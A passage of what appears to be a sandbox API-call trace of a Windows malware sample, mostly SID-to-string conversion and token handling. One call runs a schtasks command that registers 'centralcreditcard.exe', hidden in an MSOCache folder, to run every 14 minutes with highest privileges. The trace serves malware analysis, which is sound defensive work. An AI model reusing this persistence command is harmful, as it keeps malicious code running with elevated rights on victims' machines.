IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0081.948] GetLastError () returned 0x7a [0081.948] malloc (_Size=0x14) returned 0xef0a0 [0081.948] malloc (_Size=0x16) returned 0xeef20 [0081.948] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef0a0, cchName=0xebcca4, ReferencedDomainName=0xeef20, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0081.949] malloc (_Size=0x18) returned 0xeef00 [0081.949] malloc (_Size=0x18) returned 0xef040 [0081.949] free (_Block=0xef0a0) [0081.949] free (_Block=0xeef20) [0081.949] free (_Block=0xeff00) [0081.949] free (_Block=0xef040) [0081.949] free (_Block=0xeef00) [0081.949] free (_Block=0xeef60) [0081.950] free (_Block=0xee200) [0081.950] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0081.950] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0081.950] GetLastError () returned 0x7a [0081.950] malloc (_Size=0x2c) returned 0xee240 [0081.950] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0081.950] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0081.950] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0081.950] malloc (_Size=0x1c) returned 0xeff00 [0081.950] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0081.951] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0081.951] malloc (_Size=0x18) returned 0xeef60 [0081.951] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0081.951] malloc (_Size=0x18) returned 0xeef00 [0081.951] malloc (_Size=0x18) returned 0xef040 [0081.951] SysStringLen (param_1="S-1-") returned 0x4 [0081.951] SysStringLen (param_1="5") returned 0x1 [0081.951] memcpy (in: _Dst=0x3810e8, _Src=0x381358, _Size=0xa | out: _Dst=0x3810e8) returned 0x3810e8 [0081.951] memcpy (in: _Dst=0x3810f0, _Src=0x381268, _Size=0x4 | out: _Dst=0x3810f0) returned 0x3810f0 [0081.951] free (_Block=0xeef60) [0081.951] free (_Block=0xeef00) [0081.951] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0081.951] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0081.951] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0081.951] malloc (_Size=0x18) returned 0xeef00 [0081.951] malloc (_Size=0x18) returned 0xeef60 [0081.951] SysStringLen (param_1="S-1-5") returned 0x5 [0081.951] SysStringLen (param_1="-") returned 0x1 [0081.951] memcpy (in: _Dst=0x381268, _Src=0x3810e8, _Size=0xc | out: _Dst=0x381268) returned 0x381268 [0081.951] memcpy (in: _Dst=0x381272, _Src=0x381358, _Size=0x4 | out: _Dst=0x381272) returned 0x381272 [0081.951] free (_Block=0xef040) [0081.952] free (_Block=0xeef00) [0081.952] malloc (_Size=0x18) returned 0xeef00 [0081.952] malloc (_Size=0x18) returned 0xef040 [0081.952] SysStringLen (param_1="S-1-5-") returned 0x6 [0081.952] SysStringLen (param_1="21") returned 0x2 [0081.952] memcpy (in: _Dst=0x381358, _Src=0x381268, _Size=0xe | out: _Dst=0x381358) returned 0x381358 [0081.952] memcpy (in: _Dst=0x381364, _Src=0x3810e8, _Size=0x6 | out: _Dst=0x381364) returned 0x381364 [0081.952] free (_Block=0xeef60) [0081.952] free (_Block=0xeef00) [0081.952] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0081.952] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0081.952] malloc (_Size=0x18) returned 0xeef00 [0081.952] malloc (_Size=0x18) returned 0xeef60 [0081.952] SysStringLen (param_1="S-1-5-21") returned 0x8 [0081.952] SysStringLen (param_1="-") returned 0x1 [0081.952] memcpy (in: _Dst=0x3810e8, _Src=0x381358, _Size=0x12 | out: _Dst=0x3810e8) returned 0x3810e8 [0081.952] memcpy (in: _Dst=0x3810f8, _Src=0x381268, _Size=0x4 | out: _Dst=0x3810f8) returned 0x3810f8 [0081.952] free (_Block=0xef040) [0081.952] free (_Block=0xeef00) [0081.952] malloc (_Size=0x18) returned 0xeef00 [0081.952] malloc (_Size=0x18) returned 0xef040 [0081.952] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0081.953] SysStringLen (param_1="4219442223") returned 0xa [0081.953] memcpy (in: _Dst=0x337788, _Src=0x3810e8, _Size=0x14 | out: _Dst=0x337788) returned 0x337788 [0081.953] memcpy (in: _Dst=0x33779a, _Src=0x381358, _Size=0x16 | out: _Dst=0x33779a) returned 0x33779a [0081.953] free (_Block=0xeef60) [0081.953] free (_Block=0xeef00) [0081.953] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0081.953] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0081.953] malloc (_Size=0x18) returned 0xeef00 [0081.953] malloc (_Size=0x18) returned 0xeef60 [0081.953] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0081.953] SysStringLen (param_1="-") returned 0x1 [0081.953] memcpy (in: _Dst=0x337aa8, _Src=0x337788, _Size=0x28 | out: _Dst=0x337aa8) returned 0x337aa8 [0081.953] memcpy (in: _Dst=0x337ace, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x337ace) returned 0x337ace [0081.953] free (_Block=0xef040) [0081.953] free (_Block=0xeef00) [0081.953] malloc (_Size=0x18) returned 0xeef00 [0081.953] malloc (_Size=0x18) returned 0xef040 [0081.953] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0081.953] SysStringLen (param_1="4223814209") returned 0xa [0081.953] memcpy (in: _Dst=0x34dc88, _Src=0x337aa8, _Size=0x2a | out: _Dst=0x34dc88) returned 0x34dc88 [0081.953] memcpy (in: _Dst=0x34dcb0, _Src=0x3810e8, _Size=0x16 | out: _Dst=0x34dcb0) returned 0x34dcb0 [0081.953] free (_Block=0xeef60) [0081.954] free (_Block=0xeef00) [0081.954] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0081.954] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0081.954] malloc (_Size=0x18) returned 0xeef00 [0081.954] malloc (_Size=0x18) returned 0xeef60 [0081.954] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0081.954] SysStringLen (param_1="-") returned 0x1 [0081.954] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x3e | out: _Dst=0x34d958) returned 0x34d958 [0081.954] memcpy (in: _Dst=0x34d994, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x34d994) returned 0x34d994 [0081.954] free (_Block=0xef040) [0081.954] free (_Block=0xeef00) [0081.954] malloc (_Size=0x18) returned 0xeef00 [0081.954] malloc (_Size=0x18) returned 0xef040 [0081.954] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0081.954] SysStringLen (param_1="3835049652") returned 0xa [0081.954] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x40 | out: _Dst=0x34dc88) returned 0x34dc88 [0081.954] memcpy (in: _Dst=0x34dcc6, _Src=0x3810e8, _Size=0x16 | out: _Dst=0x34dcc6) returned 0x34dcc6 [0081.954] free (_Block=0xeef60) [0081.954] free (_Block=0xeef00) [0081.954] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0081.954] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0081.954] malloc (_Size=0x18) returned 0xeef00 [0081.955] malloc (_Size=0x18) returned 0xeef60 [0081.955] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0081.955] SysStringLen (param_1="-") returned 0x1 [0081.955] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x54 | out: _Dst=0x34d958) returned 0x34d958 [0081.955] memcpy (in: _Dst=0x34d9aa, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x34d9aa) returned 0x34d9aa [0081.955] free (_Block=0xef040) [0081.955] free (_Block=0xeef00) [0081.955] malloc (_Size=0x18) returned 0xeef00 [0081.955] malloc (_Size=0x18) returned 0xef040 [0081.955] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0081.955] SysStringLen (param_1="1000") returned 0x4 [0081.955] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x56 | out: _Dst=0x34dc88) returned 0x34dc88 [0081.955] memcpy (in: _Dst=0x34dcdc, _Src=0x3810e8, _Size=0xa | out: _Dst=0x34dcdc) returned 0x34dcdc [0081.955] free (_Block=0xeef60) [0081.955] free (_Block=0xeef00) [0081.955] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0081.955] malloc (_Size=0x5e) returned 0xf0800 [0081.955] free (_Block=0xef040) [0081.955] malloc (_Size=0x18) returned 0xef040 [0081.956] free (_Block=0xf0800) [0081.956] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0081.957] GetLastError () returned 0x7a [0081.957] malloc (_Size=0x14) returned 0xeef00 [0081.957] malloc (_Size=0x16) returned 0xeef60 [0081.957] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef00, cchName=0xebccb4, ReferencedDomainName=0xeef60, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0081.958] malloc (_Size=0x18) returned 0xeef20 [0081.959] malloc (_Size=0x18) returned 0xef0a0 [0081.959] free (_Block=0xeef00) [0081.959] free (_Block=0xeef60) [0081.959] free (_Block=0xeff00) [0081.959] free (_Block=0xef0a0) [0081.959] free (_Block=0xeef20) [0081.959] free (_Block=0xef040) [0081.960] free (_Block=0xee240) [0081.960] malloc (_Size=0x48) returned 0xed270 [0081.960] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0081.970] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0081.970] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0081.970] malloc (_Size=0x18) returned 0xef040 [0081.970] CreateEnvironmentBlock () returned 0x1 [0081.976] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0081.976] malloc (_Size=0x18) returned 0xeef20 [0081.976] CreateProcessAsUserW (in: hToken=0x2d4, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"centralcreditcardc\" /sc MINUTE /mo 14 /tr \"'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"centralcreditcardc\" /sc MINUTE /mo 14 /tr \"'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2f8, hThread=0x2fc, dwProcessId=0xd18, dwThreadId=0xd0c)) returned 1 [0081.981] CloseHandle (hObject=0x2f8) returned 1 [0081.981] CloseHandle (hObject=0x2fc) returned 1 [0081.981] free (_Block=0xeef20) [0081.981] DestroyEnvironmentBlock () returned 0x1 [0081.981] malloc (_Size=0x48) returned 0xed400 [0081.981] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x59d4c700, dwHighDateTime=0x1d9eb0c)) [0081.981] SetEvent (hEvent=0x1f0) returned 1 [0081.982] CloseHandle (hObject=0x2e0) returned 1 [0081.982] CloseHandle (hObject=0x2d4) returned 1 [0082.033] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da90 [0082.033] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da90, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0082.033] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0082.957] SetLastError (dwErrCode=0x0) [0082.957] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0082.957] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0082.958] SetLastError (dwErrCode=0x0) [0082.958] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0) returned 1 [0082.958] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0082.958] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0082.958] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f4f0 [0082.958] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f4f0, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0082.958] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f4f0 | out: hHeap=0x2e0000) returned 1 [0082.960] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0082.961] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0082.961] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0082.961] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0082.961] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0082.961] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0082.961] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0082.964] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0082.964] GetCurrentThread () returned 0xfffffffffffffffe [0082.964] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x2d4) returned 1 [0082.964] malloc (_Size=0xd8) returned 0xf4740 [0082.964] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0082.964] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0082.964] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0082.965] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0082.965] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0082.965] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0082.965] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0082.965] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0082.965] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0082.966] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0082.966] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0082.966] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0082.966] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0082.966] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0082.966] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0082.967] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0082.967] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0082.967] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0082.967] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0082.967] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0082.967] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0082.967] malloc (_Size=0x18) returned 0xef020 [0082.968] DuplicateTokenEx (in: hExistingToken=0x2d4, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x2e0) returned 1 [0082.968] malloc (_Size=0x48) returned 0xed2c0 [0082.968] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5a6abda0, dwHighDateTime=0x1d9eb0c)) [0082.968] SetEvent (hEvent=0x1f0) returned 1 [0082.975] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0082.975] GetLastError () returned 0x7a [0082.975] malloc (_Size=0x2c) returned 0xee200 [0082.975] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0082.975] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0082.975] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0082.975] malloc (_Size=0x1c) returned 0xeff60 [0082.975] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0082.975] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0082.975] malloc (_Size=0x18) returned 0xef020 [0082.976] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0082.976] malloc (_Size=0x18) returned 0xef040 [0082.976] malloc (_Size=0x18) returned 0xeef20 [0082.976] SysStringLen (param_1="S-1-") returned 0x4 [0082.976] SysStringLen (param_1="5") returned 0x1 [0082.976] memcpy (in: _Dst=0x381208, _Src=0x381238, _Size=0xa | out: _Dst=0x381208) returned 0x381208 [0082.976] memcpy (in: _Dst=0x381210, _Src=0x381298, _Size=0x4 | out: _Dst=0x381210) returned 0x381210 [0082.976] free (_Block=0xef020) [0082.976] free (_Block=0xef040) [0082.976] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0082.976] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0082.976] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0082.976] malloc (_Size=0x18) returned 0xef040 [0082.976] malloc (_Size=0x18) returned 0xef020 [0082.976] SysStringLen (param_1="S-1-5") returned 0x5 [0082.976] SysStringLen (param_1="-") returned 0x1 [0082.976] memcpy (in: _Dst=0x381298, _Src=0x381208, _Size=0xc | out: _Dst=0x381298) returned 0x381298 [0082.976] memcpy (in: _Dst=0x3812a2, _Src=0x381238, _Size=0x4 | out: _Dst=0x3812a2) returned 0x3812a2 [0082.976] free (_Block=0xeef20) [0082.977] free (_Block=0xef040) [0082.977] malloc (_Size=0x18) returned 0xef040 [0082.977] malloc (_Size=0x18) returned 0xeef20 [0082.977] SysStringLen (param_1="S-1-5-") returned 0x6 [0082.977] SysStringLen (param_1="21") returned 0x2 [0082.977] memcpy (in: _Dst=0x381238, _Src=0x381298, _Size=0xe | out: _Dst=0x381238) returned 0x381238 [0082.977] memcpy (in: _Dst=0x381244, _Src=0x381208, _Size=0x6 | out: _Dst=0x381244) returned 0x381244 [0082.977] free (_Block=0xef020) [0082.977] free (_Block=0xef040) [0082.977] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0082.977] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0082.977] malloc (_Size=0x18) returned 0xef040 [0082.977] malloc (_Size=0x18) returned 0xef020 [0082.977] SysStringLen (param_1="S-1-5-21") returned 0x8 [0082.977] SysStringLen (param_1="-") returned 0x1 [0082.977] memcpy (in: _Dst=0x381208, _Src=0x381238, _Size=0x12 | out: _Dst=0x381208) returned 0x381208 [0082.977] memcpy (in: _Dst=0x381218, _Src=0x381298, _Size=0x4 | out: _Dst=0x381218) returned 0x381218 [0082.977] free (_Block=0xeef20) [0082.977] 